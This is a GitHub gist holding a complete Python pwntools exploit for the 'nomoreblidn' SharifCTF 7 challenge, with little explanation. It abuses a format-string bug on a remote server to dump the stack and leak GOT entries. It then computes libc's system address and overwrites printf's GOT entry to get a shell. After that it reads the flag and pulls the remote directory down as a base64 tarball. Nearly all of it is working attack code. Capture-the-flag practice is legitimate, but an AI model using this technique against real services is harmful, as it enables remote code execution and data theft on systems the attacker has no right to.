Created
March 15, 2017 21:31
-
-
Save f0rki/2365ea97cf19e9a3e9ed10f8d7b0481c to your computer and use it in GitHub Desktop.
full exploit for nomoreblidn from sharifctf 7
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import gc | |
import pwnlib # NOQA | |
from pwn import * # NOQA | |
context.arch = "i386" | |
context.os = "linux" | |
vp = None | |
def make_new_remote(): | |
global vp | |
if vp: | |
vp.close() | |
vp = remote("ctf.sharif.edu", 54518) | |
def dump_stack(at=None, n=2048): | |
log.debug("dump stack starting at {} for {} bytes" | |
.format(1 if not at else at, n)) | |
pl = "" | |
if at: | |
for i in range(n // 4): | |
pl += "%{}$p.".format(at + i) | |
else: | |
pl = ".%p" * (n // 4) | |
vp.sendline(pl) | |
vp.readline() | |
# vp.readline() | |
x = vp.readline().strip().strip(".") | |
stack_leak = x.split(".")[1:] | |
stack_leak = map(lambda y: 0 if "nil" in y else int(y, 16), stack_leak) | |
return stack_leak | |
def word_at_offset(off): | |
pl = "%{}$p".format(off) | |
vp.sendline(pl) | |
y = vp.readline().strip() | |
return 0 if "nil" in y else int(y, 16) | |
def leak_from_offset(off): | |
# log.info("offset {} is 0x{:x}".format(off, sl[off - 1])) | |
pl = "MAGI%{}$sCVAL".format(off) | |
vp.sendline(pl) | |
data = vp.recvuntil("CVAL") | |
return data[(data.find("MAGI") + 4):data.find("CVAL")] | |
# base_addr = 0x08000000 | |
base_addr = 0x08048000 | |
make_new_remote() | |
@pwnlib.memleak.MemLeak.NoNewlines | |
def fmtleaker(addr): | |
log.debug("leaking addr 0x{:x}".format(addr)) | |
pl = "ABCD%7$sDCBA" | |
pl += p32(addr) | |
pl += "\x00" * 4 | |
if "\n" in pl: | |
log.warning("newline in payload!") | |
return None | |
vp.sendline(pl) | |
vp.readline() | |
x = vp.recv() | |
if x: | |
f = x.find("ABCD") + 4 | |
l = x.find("DCBA") | |
res = x[f:l] | |
if res == "": | |
return "\x00" | |
else: | |
return res | |
return "" | |
N = 128 | |
sl = dump_stack(n=N) | |
# for i in range(N, (4096 + 256), N): | |
# sl += dump_stack(n=N, at=((i // 4) + 1)) | |
# log.info("\n".join(("{}: {}".format(i, hex(s)) | |
# for i,s in enumerate(sl) if s > 0))) | |
slb = "".join(map(p32, sl)) | |
log.info(hexdump(slb)) | |
pl = cyclic(4 * 15) | |
pl += ".%10$p" | |
pl += ".%11$p" | |
pl += ".%12$p" | |
pl += ".%13$p" | |
vp.sendline(pl) | |
vp.recvline() | |
x = vp.recvline() | |
log.info(hexdump(x)) | |
log.info(repr(x)) | |
# log.info(hexdump(fmtleaker.n(base_addr, 10))) | |
""" | |
leaked = "" | |
if os.path.exists("./out.elf"): | |
with open("./out.elf") as f: | |
leaked = f.read() | |
log.info("read previously leaked elf bytes {}".format(len(leaked))) | |
try: | |
while len(leaked) < 32000: | |
addr = base_addr + len(leaked) | |
x = fmtleaker(addr) | |
if x: | |
leaked += x | |
else: | |
leaked += "\xff" | |
# if len(leaked) % 32 == 0: | |
# log.info(hexdump(leaked)) | |
if len(leaked) % 64 == 0: | |
log.info(str(len(leaked)) + "\n" + hexdump(leaked)) | |
log.info("saving in the middle") | |
gc.collect() | |
with open("out.elf", "wb") as f: | |
f.write(leaked) | |
gc.collect() | |
finally: | |
log.info("saving final") | |
with open("out.elf", "wb") as f: | |
f.write(leaked) | |
""" | |
# velf = ELF("./out.elf") | |
printf_got = 0x0804995c | |
fflush_got = 0x08049960 | |
fgets_got = 0x08049964 | |
printf_leaked = fmtleaker.d(printf_got) | |
fgets_leaked = fmtleaker.d(fgets_got) | |
log.info("printf 0x{:x}".format(printf_leaked)) | |
# log.info("fflush 0x{:x}".format(fflush_leaked)) | |
log.info("fgets 0x{:x}".format(fgets_leaked)) | |
""" | |
with context.local(log_level='info'): | |
de = DynELF(fmtleaker, printf_leaked) | |
system0 = de.lookup("system", "libc") | |
system = system0 | |
log.info("found system 0x{:x}".format(system)) | |
""" | |
# build id: 5ab6a00d805f696b8aa6d0d2ee29d511b41499d1 | |
printf_to_system = 0xf7574c70 - 0xf75663e0 | |
system = printf_leaked + printf_to_system | |
log.info("system should be at 0x{:x}".format(system)) | |
libc = ELF("./libc-2.19.so") | |
libc_base = fgets_leaked - libc.symbols["fgets"] | |
libc.address = libc_base | |
system = libc.symbols['system'] | |
log.info("found system 0x{:x}".format(system)) | |
target = printf_got | |
target_hi = target + 2 | |
system_hi = (system & 0xffff0000) >> 16 | |
target_lo = target | |
system_lo = (system & 0xffff) | |
log.info("system_hi 0x{:x} system_lo 0x{:x}" | |
.format(system_hi, system_lo)) | |
o = 14 | |
fmt2 = "" | |
fmt2 += "%{}$s".format(o) | |
fmt2 += "\xff" | |
fmt2 += "%{}$s".format(o + 1) | |
fmt2 += "\xff" | |
fmt2 += "\x00" * (28) | |
fmt2 += p32(target_lo) | |
fmt2 += p32(target_hi) | |
log.info(hexdump(fmt2)) | |
vp.sendline(fmt2) | |
vp.recvline() | |
log.info(hexdump(vp.recvuntil("\xff"))) | |
log.info(hexdump(vp.recvuntil("\xff"))) | |
o = 14 | |
addr_hi = "%{}$hn".format(o + 1) | |
addr_lo = "%{}$hn".format(o) | |
if target_lo > target_hi: | |
fmt = "" | |
fmt += "%1${}c".format(system_hi) | |
fmt += addr_hi | |
fmt += "%1${}c".format(system_lo - system_hi) | |
fmt += addr_lo | |
else: | |
fmt = "" | |
fmt += "%1${}c".format(system_lo) | |
fmt += addr_lo | |
fmt += "%1${}c".format(system_hi - system_lo) | |
fmt += addr_hi | |
fmt += "\xff%{}$s\xff".format(o) | |
# fmt += "\x00" * (len(fmt) % 4) | |
fmt += "\x00" * 3 | |
fmt += p32(target_lo) | |
fmt += p32(target_hi) | |
log.info("fmt payload len = {}\n{}\n{}".format(len(fmt), repr(fmt), hexdump(fmt))) | |
assert len(fmt) % 4 == 0 | |
if "\n" in fmt: | |
log.error("newlines in formatstr:\n" + hexdump(fmt)) | |
# vp.interactive() | |
vp.sendline(fmt) | |
i = 0 | |
full = (max([system_lo, system_hi])) | |
with context.local(log_level='info'): | |
prog = log.progress("reading back fmt") | |
while i < full: | |
x = vp.recv(8096, timeout=0.2) | |
i += len(x) | |
prog.status("{} / {}".format(i, full)) | |
prog.success("done") | |
log.info("last block:\n" + hexdump(x)) | |
vp.sendline("/bin/sh") | |
vp.sendline("id;pwd;ls -al") | |
vp.sendline("cd /home/rooney/suctf/NoMoreBlind") | |
vp.sendline("cat flag") | |
vp.interactive() | |
vp.sendline("cd /home/rooney/suctf/NoMoreBlind") | |
vp.sendline("tar cz . | base64; exit") | |
l = "" | |
x = vp.recv(8096, timeout=0.5) | |
l = x | |
while x: | |
x = vp.recv(8096, timeout=0.5) | |
l += x | |
with open("./nomore.leaked.tar.gz.b64", "wb") as f: | |
f.write(l) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment